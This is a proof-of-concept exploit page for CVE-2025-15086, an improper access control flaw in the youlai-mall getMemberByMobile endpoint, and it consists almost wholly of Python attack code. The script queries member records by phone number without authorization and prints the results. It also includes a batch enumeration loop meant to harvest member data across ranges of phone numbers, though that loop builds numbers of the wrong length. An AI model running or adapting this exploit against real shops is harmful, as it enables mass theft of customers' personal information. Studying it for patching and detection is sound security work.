CVE-2025-15086 | youlai-mall getMemberByMobile访问控制绕过漏洞

import requests # CVE-2025-15086 PoC - youlai-mall Unauthorized Member Information Disclosure # Target: youlai-mall 1.0.0/2.0.0 # Vulnerability: Improper Access Control in getMemberByMobile endpoint def exploit_cve_2025_15086(target_url, phone_number): """ Exploit function to retrieve member info by mobile number without proper authorization check. Args: target_url: Base URL of the vulnerable youlai-mall instance phone_number: Target phone number to query Returns: Response containing member information if vulnerable """ endpoint = f"{target_url}/app/ums/member/getByMobile" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Request payload with target phone number data = { "mobile": phone_number } try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Success! Retrieved member info for {phone_number}") print(f"[+] Response: {result}") return result else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Batch enumeration example def enumerate_members(target_url, phone_prefix="138"): """ Demonstrate batch enumeration of member information """ print(f"[*] Starting enumeration on {target_url}") # Enumerate phone numbers with common prefixes for i in range(1000, 9999): phone = f"{phone_prefix}{i:04d}0000" result = exploit_cve_2025_15086(target_url, phone) if result and result.get("code") == 0: print(f"[+] Found valid member: {result}") if __name__ == "__main__": TARGET = "http://vulnerable-server.com" PHONE = "13800138000" print("[*] CVE-2025-15086 PoC") print("[*] Target: youlai-mall getMemberByMobile") exploit_cve_2025_15086(TARGET, PHONE)